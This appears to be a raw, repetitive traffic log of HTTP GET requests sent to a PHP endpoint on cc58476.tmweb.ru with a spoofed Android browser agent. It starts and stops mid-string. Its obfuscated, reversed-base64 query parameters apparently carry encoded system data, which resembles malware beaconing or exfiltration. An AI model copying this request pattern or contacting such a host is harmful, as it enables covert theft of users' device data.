wRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiw